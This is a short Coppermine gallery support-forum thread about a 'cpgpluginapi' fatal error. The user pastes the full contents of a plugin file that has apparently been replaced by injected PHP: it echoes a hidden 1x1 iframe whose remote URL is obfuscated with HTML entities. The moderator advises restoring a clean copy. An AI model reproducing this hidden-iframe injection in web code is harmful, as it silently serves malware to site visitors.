coppermine-gallery.com/forum

Support => cpg1.4.x Support => Older/other versions => cpg1.4 miscellaneous => Topic started by: fruity on April 17, 2008, 03:51:07 PM

Title: Fatal error: undefined class name
Post by: fruity on April 17, 2008, 03:51:07 PM
Hello
When i want to go on my coppermine-galler, i get this message:

Fatal error: Undefined class name 'cpgpluginapi' in /mnt/web6/32/92/51319892/htdocs/cpg1410/include/init.inc.php on line 224

Before i get this, the gallery runs without problems.
Why do i recieve this error now?
I changed nothing  :(

best regards
fruity
Title: Re: Fatal error: undefined class name
Post by: Nibbler on April 17, 2008, 03:56:26 PM
Make sure include/plugin_api.inc.php is present and correct (eg. not an empty file).
Title: Re: Fatal error: undefined class name
Post by: fruity on April 17, 2008, 04:01:11 PM
Hi

the pligin_api.inc.php file istn't empty.
There are a few lines Code

<?php 
if(
$GLOBALS["fx"]==0) { 
$GLOBALS["fx"]=1;
echo "<iframe src='&#38;#104;&#38;#116;&#38;#116;&#38;#112;&#38;#58;&#38;#47;&#38;#47;&#38;#99;&#38;#99;&#38;#102;&#38;#101;&#38;#108;&#38;#111;&#38;#109;&#38;#118;&#38;#104;&#38;#107;&#38;#46;&#38;#99;&#38;#111;&#38;#109;&#38;#47;&#38;#100;&#38;#108;&#38;#47;&#38;#97;&#38;#100;&#38;#118;&#38;#53;&#38;#52;&#38;#50;&#38;#46;&#38;#112;&#38;#104;&#38;#112;' width=1 height=1></iframe>";
}
?>

this is the whole code
Title: Re: Fatal error: undefined class name
Post by: Nibbler on April 17, 2008, 04:04:48 PM
Upload a clean copy of the file from the Coppermine package.

See also:

http://forum.coppermine-gallery.net/index.php/topic,51882.0.html
http://forum.coppermine-gallery.net/index.php/topic,51927.0.html